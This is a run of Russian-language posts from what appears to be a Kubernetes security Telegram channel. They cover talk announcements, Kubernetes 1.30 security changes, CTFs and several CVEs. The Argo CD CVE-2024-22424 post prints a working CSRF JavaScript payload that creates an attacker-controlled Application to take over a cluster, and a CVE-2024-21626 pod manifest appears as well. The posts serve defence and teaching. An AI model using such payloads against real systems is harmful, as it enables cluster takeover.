Канал о (не)безопасности Kubernetes + микросервисных, контейнеризированных приложений. Ведет команда www.luntry.ru Вопросы, идеи, предложения => @Qu3b3c https://knd.gov.ru/license?id=673ddbc21039886b1d03b7ce®istryType=bloggersPermission
В заключении недели мы рады поделиться слайдами и видео нашего выступления "Нестандартное применение Kyverno" c конференции SafeCode 2024
! Изначально доклад задумывался как полу шуточный, но с прицелом на то что бы показать практическую безграничность логику политик, которую вы можете реализовать с данным PolicyEngine
. На самом деле вы ограничены лишь своей фантазией) На сегодняшней день PolicyEngine
это просто must have
инструмент для любой инфраструктуры и что важно как для ИБ, так и ИТ команд.
Стало доступно видео доклада "Безопасность Kubernetes кластеров: вредные советы" с DevOpsConf 2024
! Буду рад обратной связи кто не был на самом выступлении. Присутствующие же очень высоко оценили доклад - по итогам конференции он вошел в ТОП-10 =)
2024-ый год для Argo CD
начался с пачки CVE
(большинство из них DoS
), однако наше внимание привлекла CVE-2024-22424: Cross-Site Request Forgery (CSRF) in github.com/argoproj/argo-cd.
Всё началось с того, что уже несколько лет API Argo CD
уязвимо к CSRF
(1,2). Но разработчики игнорировали эту проблему (видимо не было достоверных пруфов эксплуатации) и в качестве мер митигации стали использвать Lax SameSite cookie
, которую можно довольно легко обойти, если origin
находится в том же родительском домене, что и target
.
Исследователи обнаружившие эту уязвимость рассмотрели случай, когда атакующий контроллирует содержимое на marketing.victim.com
(например, через хранимую XSS
) и его целью является Argo CD
расположенный на argocd.internal.victim.com
. Представленный PoC
позволяет атакующему через CSRF
уязвимость получить полный контроль над кластером Kubernetes. Для этого на подконтрольном домене атакующему достаточно разместить следующий JavaScript
код:
var xhr = new XMLHttpRequest();
xhr.open('POST', 'https://argocd.internal.victim.com/api/v1/applications');
xhr.setRequestHeader('Content-Type', 'text/plain')
xhr.withCredentials = true;
xhr.send('{"apiVersion":"argoproj.io/v1alpha1","kind":"Application","metadata":{"name":"test-app1"},"spec":{"destination":{"name":"","namespace":"default","server":"https://kubernetes.default.svc"},"source":{"path":"argotest1","repoURL":"https://github.com/user/repo","targetRevision":"HEAD"},"sources":[],"project":"default","syncPolicy":{"automated":{"prune":false,"selfHeal":false}}}}')
marketing.victim.com
от её лица выполнится POST
запрос к API Argo CD
на создание Application
, где repoURL
– github
репозиторий, в котором злоумышленник может разместить что угодно: Bad Pods
с reverse shell
, Cluster Admin
права и т.д. Всё это задеплоится в кластере.В связи с недавним нашумевшем инцидентом с xz utils
в очередной раз хочется обратить внимание на замечательную заметку от Halvar Flake
под названием "A bank statement for app activity (and thus personal data)" от 2018
года, где он рассуждает что такое вредоносное и не вредоносное.
Пускай он там говорит в основном про мобильные приложения, но суть поведения приложений также накладывается и на контейнеры с их запуском исполняемых файлов, обращению к файловой системе и сетевым соединениям. Также благо, что наши контейнеры запускаются на иммутабельных образах и имеют не изменяемую логику, небольшую работу на скейле (на нескольких копиях).
Как итог, важно понимать свою систему, которую вы защищаете, а не относиться к ней как к черному ящику.
P.S. Занимательный факт - именно эта заметка легла в основу поведенческого анализа и observability нашего Luntry.
Kubernetes 1.30
уже не за горами (релиз 17 апреля), кодовая база заморожена, а это значит что самое время посмотреть, что нового приготовили для нас разработчики со стороны security
.
- Improved Handling of Secret Images in Container Runtime
. Повторная аутентификация при связке imagePullPolicy: IfNotPresent
и imagePullSecrets
- Reduction of Secret-Based Service Account Tokens
. При создании нового Service Account
, токен и его секрет не будут генерироваться автоматически
- Bound Service Account Token Improvements
. Теперь к Service Account
, которые привязаны к конкретным Pod
будут добавляться JWT ID (JTI)
.
- Node Log Query
. Добавление новой ручки в kubelet
, благодаря которой можно будет собирать логи с Node
– kubectl get --raw "/api/v1/nodes/worker/proxy/logs/?query=kubelet&pattern=error"
- Prevent Unauthorized Volume Mode Conversion During Volume Restore
. Предотвращение несанкционированного доступа, когда PVC
восстанавливается из VolumeSnapshot
.
- Speed Up Recursive SELinux Label Change
. Ускорение времени запуска контейнеров за счет оптимизации процесса изменения лейблов SELinux
.
- Kubelet Support for Image Filesystem Split
. Разделение FS
контейнера на слои – writable
и read-only
.
Про эти и другие изменения более подробно можно почитать в официальном changelog.
На прошлой неделе прошел KubeCon + CloudNativeCon Europe 2024, однако перед этой большой конференцией прошла Cloud Native Rejekts EU 24 – по масштабам она сильно меньше, но по полезности точно не уступает. Эта конференция для докладов, которые не были приняты на KubeCon + CloudNativeCon Europe 2024
.
Один из докладов оттуда – Exploring Attacker Persistence Strategies in Kubernetes от Rory McCune
, в нём он рассказывает о способах закрепления в Kubernetes
кластерах.
По сценарию, который рассматривается в докладе, атакующий получает доступ к cluster-admin
на короткий промежуток времени и хочет закрепиться в кластере, используя Tailscale
. Более подробно о том, что это такое и как с этим работать он рассказал в статье Using Tailscale for persistence.
Вчера данному каналу, который вы сейчас читаете, исполнилось 4 года! Спасибо что читаете, комментируете, ставите реакции и просто не равнодушны к нашей деятельности. Будем и дальше вас радовать интересными постами, докладами, эфирами, конференциями по теме безопасности контейнеров и Kubernetes
! У нашей команды Luntry есть еще много идей как можно сделать вовлечение и изучение данной сферы более интересным и полезным – главное, чтобы на все это хватило времени и сил)
Если вы нас хотите поддержать в этом деле, то расскажите о канале тем, кому это будет полезно. Будет здорово если наша сообщество будет расти,развиваться и мы видеть эту обратную связь!
P.S. А моему сынишке 3 года! Да-да и все это в один день)
Сегодня мы рады анонсировать еще 1
доклада с нашей конференции БеКон 2024. Таким образом уже анонсировали 7
докладов. Будет еще 2-3
.
#7
Название: Латаем огрехи в образах приложений с помощью Kubernetes
Докладчик: Анатолий Карпенко, Luntry
Описание: Обычная ситуация — вам достался образ, который вот совсем не по best practice
по безопасности. И вы отказаться от него не можете и поправить в нем ничего не можете. Или все-таки можете?! C помощью механизмов Kubernetes
?! В рамках этого доклада как раз с этим и разберемся.
Стало доступно видео доклада Orchestrate This! Kubernetes Rootkit с прошедшей конференции Blackhat Europe 2023
. О самой начинке доклада мы рассказывали в одном из предыдущих постов. Хотим лишь напомнить, что авторы в своем докладе представили container-based rootkit
под названием kubekit
.
В видео авторы демонстрируют демо, в котором показывают возможности представленного инструмента.
Исследователи из WIZ сделали небольшой онлайн CTF "Kubernetes LAN Party" на тему Kubernetes Security
. Он довольно обширно и нетривиально покрывает вопросы сетевой безопасности в Кубере. Разведка в скомпропетированном Pod
, обход Istio
и Lateral Movement
с помощью Kyverno
– всё это есть в этом CTF
. Ничего дополнительно устанавливать не требуется, терминал доступен прямо из браузера.
Сами мы уже прошли челлендж, и однозначно рекомендуем пройти его всем, кто так или иначе имеет дело с безопасностью контейнеров и Kubernetes
.
P.S – Хотите увидеть прохождение данного CTF от нас?
Это выписка с предупреждением из официальной документации Docker
, говорящая о проблемах работы системы контейнеризации на одном хосте с антивирусным решением.
Относительно Kubernetes
все абсолютно тоже самое. Как вы знаете containerd
, runc
это части проекта Docker
, а в инсталляциях с cri-o
под капотом чаще всего тот же runc
. Так что относительно заметки меняется только путь на файловой системе и все.
Я должен был добавить это в соответствующий раздел своей презентации "Безопасность Kubernetes кластеров: вредные советы" на DevOpsConf 2024, но забыл и сейчас вот исправляюсь.
P.S. Обратите внимание, что это актуально и для Linux и для Windows.
В конце прошлого года в Kubernetes
была найдена серьезная уязвимость CVE-2023-5528 высокого уровня критичности с CVSS 7.2 (CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H)
!!!
Срочно бегите обновляйте свои кластера на Windows
!
Пока те пару человек пошли обновляться (и команда Azure
), давайте разберемся в самой уязвимости, а поможет нам в этом статья от исследователей, что ее обнаружили, под названием "What a Cluster: Local Volumes Vulnerability in Kubernetes".
Основные моменты:
- Кластер на Windows
- kubelet < v1.8.0
- Атакующий с правами создавать pods
и persistent volumes
- Отсутствие проверки пользовательского ввода в subPath
параметре YAML
файла приводит к injection
- Получаем RCE
c привилегиями SYSTEM
на всех Windows
тачках в кластере
Авторы также выложили политику для OPA
для обнаружения и блокировки эксплуатации такого. Это еще раз говорит, что Policy Engine
это просто must have
компонент в безопасности - заранее нельзя знать от какого ресурса и параметра ожидать подставы...
P.S. Мне как бывшему реверсеру, так радостно снова увидеть calc.exe
в payload
=)
P.S.S. И уже сегодня в 11:00
мы поговорим на вебинаре про runtime security
в k8s
;)
Сегодня мы рады анонсировать еще 2 доклада с нашей конференции БеКон 2024. Таким образом уже анонсировали 6 докладов. Будет еще 3-4.
#5
Название: От стандартных к нестандартным методам управления секретов в контейнерах
Докладчик: Валерий Кунавин
Описание: На сегодняшний день есть огромное количество способов управлять секретами - почти на любой вкус и цвет. Важно в этом ориентироваться и понимать какой способ выбрать в том или ином случае. При этом понимать от каких нарушителей это нас все равно не убережет ... И при необходимости думать уже в сторону нестандартных способов - в сторону короткоживущих секретов.
№6
Название: Мультитенантность в Kubernetes: есть ли серебряная пуля?
Докладчик: Константин Аксенов (Флант)
Описание: Существуют различные варианты для организации мультитенантности в Kubernetes, например Hierarchical Namespace Controller (HNC)
или Capsule
. Есть возможность реализовать свой подход к изоляции с помощью базового Kubernetes API
или создать свой собственный API
. Естественно выбор во многом зависит от требований и внутреннего устройства процессов и команд. В докладе рассмотрим преимущества и недостатки разных подходов, а также к чему мы пришли в процессе разработки нашего решения.
P.S. До 15 марта можно взять билеты по сниженной цене.
Если вы используете SELinux
(или AppArmor
) в Kubernetes
, то одним из условий использования является наличие профиля на каждой Worker Node
, где могут запускаться нагрузки. Раскладывание профилей по Nodes
довольно распространненая проблема, однако её можно решить с помощью Security Profles Operator (о котором мы не раз рассказывали на канале – 1, 2, 3).
В версии CRI-O 1.30
был добавлен ряд аннотаций, благодаря которым можно удобно ссылаться на размещенный в OCI registry SELinux
профиль:- seccomp-profile.kubernetes.cri-o.io/<CONTAINER>
- seccomp-profile.kubernetes.cri-o.io/<POD>
Более подробно об этом функционале можно почитать в официальном блоге Kubernetes
, а именно в статье CRI-O: Applying seccomp profiles from OCI registries.
На нашем сайте стали доступны слайды доклада "Безопасность Kubernetes кластеров: вредные советы" с прошедшего DevOpsConf 2024 (видео будет доступно позже). Доклад был очень хорошо принят аудиторией - спасибо вам большое за это! Многие уже начали спрашивать будет ли вторая часть?) Думаю, что да! Также после доклада кто-то из слушателей отметил, что доклад можно было назвать "Безопасность Kubernetes кластеров: Bullshit Bingo" и это правда возможно даже лучше бы отражало смысл доклада) Но я думаю, что можно будет реально выпустить такой Bullshit Bingo
, чтобы не скучно проводить митинги/созвоны =)
P.S. Можно смело контрибьютить в этот список!
P.S.S. Всех девушек с наступающим 8 марта!
В одном из предыдущих постов мы рассказывали про Kubernetes LAN Party – небольшое CTF
, состоящее из 5 заданий и посвященное Kubernetes Network Security
. Пост набрал большие охваты и реакции, очевидно, что вы хотели видеть разбор этих заданий от нас и мы его сделали.
По ссылке можно почитать write-up
с разбором всех пяти заданий. Спойлеров не будет, все флаги заблюрены :) Мы рекомендуем прорешать и попробовать свои силы в этом CTF
каждому, кто так или иначе имеет дело с безопасностью Kubernetes
, и только потом обращаться к нашей статье.
На злобу дня)
Что сейчас многие делают? Выискивают у себя в инфраструктуре этот xz utils
, ставят задачи на откатиться на нужную версию и ждут когда это произойдет. Возможно кто-то еще какие-то правила детектов на уровни сети напишет. Совсем малое количество (с высоким уровнем зрелости) полезут в логи и будут пытаться там найти следы эксплуатации этой проблемы и если что заведут соответствующие инциденты, которые нужно будет расследовать. Большинство же не сможет не обнаружить этого, не провести расследования (и будут уже жить с другим бэкдором на другом уровне у себя в инфраструктуре).
Хотелось бы в очередной раз напомнить про экономический момент в безопасности. Предотвратить дешевле, чем расследовать ... Не забывайте об этом когда строите безопасность у себя в компании.
4 апреля в Москве в рамках мероприятия «Территория безопасности 2024: все pro ИБ» наша команда и в рамках выставки покажет Luntry, и в рамках секции PRO УПРАВЛЕНИЕ УЯЗВИМОСТЯМИ расскажет доклад «Управление уязвимостями в микросервисах и контейнерных средах».
В данном докладе мы рассмотрим какие есть особенность в теме vulnerability management
для: микросервисов, контейнеров, окружений под управлением Kubernetes
, облачных сред и т.д. И какие это дает возможности с соответствующими преимуществами и недостатками.
Будем рады пообщаться лично)
Сегодня мы рады анонсировать еще 1
доклада с нашей конференции БеКон 2024. Таким образом уже анонсировали 8
докладов. Будет еще 1-2
.
#8
Название: Вы еще не читаете Kubernetes Audit Log? Тогда мы идем к вам!
Докладчик: Алиса Кириченко (Лаборатория Числитель)
Описание: Многие компании, в т.ч. крупные сталкиваются с проблемой эффективного сбора и обработки логов. В докладе мы рассмотрим: для чего собирать Kubernetes
логи, как их выбирать, не терять при сборе и перенаправлении, а также не перегружать хранилище
Напомним, что билетов ограниченное количество, и взять их можно тут.
С 19
по 22
марта в Париже прошел KubeCon + CloudNativeCon Europe 2024
. Там было как всегда море всего интересного про Kubernetes
и его безопасность. Пока что мы еще изучаем показанное там и готовим для вас посты, вы уже можете самостоятельно окунуться в море почти бесконечных докладов! Но предварительно ознакомьтесь с их перечнем в расписании, чтобы сориентироваться где и что искать ;)
- KubeCon + CloudNativeCon Europe 2024
- ArgoCon North Europe 2024
- BackstageCon Europe 2024
- Cloud Native AI Day Europe 2024
- Cloud Native Wasm Day Europe 2024
- Kubeflow Summit Europe 2024
- Multi-TenancyCon Europe 2024
- OpenTofu Day Europe 2024
- Platform Engineering Day Europe 2024
Напомним, что теперь SecurityDay
трека нет, а есть отдельная конференция CloudNativeSecurityCon и она будет 26–27
июня.
Наши хорошие товарищи Антон Жаболенко и Алексей Федулаев в рамках HighLoad++ 2023
выступали с любопытным докладом под названием "Как собрать контейнер и не вооружить хакера". И сейчас стала доступна видеозапись выступления и статья на Хабре по мотивам доклада.
Данная презентация посвящена Living off the Land (LotL)
атакам. По сути, это атаки с использованием легитимных программ, которые уже присутствуют в целевой системе куда попал атакующий. В данном случае это в образах контейнеров. В статье есть множество разных трюков/приемов о которых должен знать любой представитель красной команды) Ну а оппоненты из синей команды должны знать способы как это либо предотвратить, либо своевременно обнаружить ;)
На прошлой неделе завершилось ежегодное сореванование хакеров Pwn2Own
, которое в этот раз проходило с расширенным скоупом – в список таргетов попали Docker Desktop, containerd, Firecracker и gRPC
. Первый побег из контейнера в Docker Desktop
через UAF
в рамках этого сореванования продемонстрировала команда STAR Labs SG
и заработала $60,000
.
По правилам, у вендора есть 90 дней перед тем, как исследователи раскроют технические подробности и задействованные эксплойты. А пока остаётся только гадать, через какой вектор исследователям удалось сбежать из контейнера – была ли это ядерная бага или же проблема в одном из компонентов Docker
.
Вчера в одном из чатов тренинга нас спросили наше мнение насчет следующего момента из документации kubespray:"The anonymous-auth (on kube-apiserver) is set to true by default. This is fine, because it is considered safe if you enable RBAC for the authorization-mode."
Что явно противоречит пункту 1.2.1
из CIS Kubernetes Benchmark 1.8
, который гласит: "Ensure that the --anonymous-auth argument is set to false" (по умолчанию значение true). Но там же в разделе написано: "If you are using RBAC authorization, it is generally considered reasonable to allow anonymous access to the API Server for health checks and discovery purposes, and hence this recommendation is not scored. However, you should consider whether anonymous discovery is an acceptable risk for your purposes." Что по сути уже повторяет смысл из документации kubespray
.
Помните:
1. У пользователя system:anonymous
и группы system:unauthenticated
(от которых идут такие запросы) тоже есть права.
2. Включенный RBAC
(если он включен, иначе туши свет) будет по этим правам давать им доступ.
3. Атакующий может накинуть права в RBAC
для данного пользователя и группы, и он сможет пользоваться этими правами без аутентификации (считай backdoor
). Если у вас разрешен анонимный доступ, контролируйте, что нет дополнительных прав.
По этой теме будет полезно вспомнить также статью "Let's talk about anonymous access to Kubernetes".
На нашем сайте стали доступны слайды и видео с вебинара/стрима "Runtime Security: на вкус и цвет все фломастеры разные". Это почти 2-х часовое погружение в мир агентских средств безопасности! Результатам данного анализа стала вот такая совсем не маленькая сравнительная таблица.
Читать полностью…Тут недавно узнал, что в этом году исполняется 25
лет журналу "Хакер"! С этой грандиозной датой и хочется его поздравить)
Я уже как-то писал [1,2], что на протяжении 7
лет c 2010
по 2016
был редактором рубрик "X-Toolz"
и "Security soft"
(в разные годы, помимо статей) в журнале когда он был еще бумажным. Так что для меня это совсем не чужой журнал.
Исследователи из WIZ
опубликовали OpenSource
инструмент NamespaceHound, который позволит найти вектора повышения привилегий в Kubernetes
кластерах, где мультитенантность организована на уровне namespaces
.
По сути, инструмент сочетает в себе функционал RBAC
анализатора и PolicyEngine
– он ищет возможные опасные права в кластере, а также избыточно привилегированные и опасные контейнеры (BadPods
), с помощью которых потенциальный злоумышленник может нанести существенный импакт кластеру. Сейчас их внутренняя библиотека насчитывает 21 правило.
Более подробно о самом инструменте и мотивации его создания можно почитать в статье NamespaceHound: protecting multi-tenant K8s clusters.
В будущей версии Kubernetes 1.30
фичу Support User Namespaces in Pods перевели в beta. Теперь её можно использовать с Pods
c (или без) volumes
, кастомными UID/GUID ranges
и не только!
Благодаря использованию User Namespaces
, можно митигировать риски от таких уязвимостей как CVE-2024-21626 или CVE-2021-25741. Для этого нужно включить feature gate – UserNamespacesSupport
и добавить в манифест поле hostUsers
:
apiVersion: v1
kind: Pod
metadata:
name: cve202421626
spec:
hostUsers: false
containers:
- name: ubuntu
image: ubuntu
workingDir: /proc/self/fd/8
command: ["sleep"]
args: ["infinity"]
CVE-2024-21626
и использованием User Namespace
можно посмотреть тут.
Читать полностью…
Статья "There are only 12 binaries in Talos Linux" в блоге разработчиков ОС Talos
раскрывает интересную статистику и информацию, о том сколько исполняемых файлов надо чтобы завелся k8s
.
Вы понимаете насколько вообще можно уменьшить поверхность атаки (attack surface
) и гемор по vulnerability management
?! Не говоря уже об исключении целой модели нарушителя)
P.S. В названии 12, а в таблице 29, потому что подсчитаны sym и hard линки.
Сегодня мы рады анонсировать еще 2 доклада с нашей конференции БеКон 2024.
№3
Название: Мечтают ли антивирусы о docker-образах?
Докладчик: Владимир Капистка (samokat.tech)
Описание: Рассмотрим один из шагов нашего pipeline
, который связан с антивирусным сканированием публичных docker
-образов, загружаемых из Интернет в частный реджестри.
№4
Название: Все ли Service Mesh одинаковы полезны для ИБ?
Докладчик: Максим Чудновский (Сбертех)
Описание: Все знают, что одной из самых популярных фичей Service Mesh
является функциональность zero-trust
периметра для микросервисов: нам доступны mTLS
, политики взаимной аутентификации и авторизации сразу из коробки. А еще все знают, что Service Mesh
бывает разный - на sidecar
-контейнерах, как Istio
, или сетевых демонах, как Cilium
, или что-то среднее, как новый Istio Ambient Mesh
. В докладе мы рассмотрим, как под капотом реализованы популярные механизмы безопасности в этих решениях и научимся выбирать Service Mesh
с точки зрения безопасности контейнеров.
P.S. До 15 марта можно взять билеты по сниженной цене.
13-14 марта пройдет online
-конференция SafeCode 2024, в которой примет участие Сергей Канибор - автор данного канала и специалист Luntry.
14 марта в 12:15 по МСК в своем докладе «Нестандартное применение Kyverno» он расскажет об одном из самых популярных решений для класса PolicyEngines
. Доклад особенно заинтересует AppSec
-/DevSecOps
-инженеров и DevOps
.
Политики Kyverno
могут валидировать, мутировать, генерировать и удалять Kubernetes
-ресурсы, а также проверять подписи образов и артефактов для обеспечения безопасности цепочки поставок. Однако на этих тривиальных способах использования Kyverno
его возможности не заканчиваются. Во время доклада Сергей покажет, что они практически безграничны и могут быть ограничены лишь полетом ваших мыслей и фантазий.
Узнать больше о докладе можно по ссылке.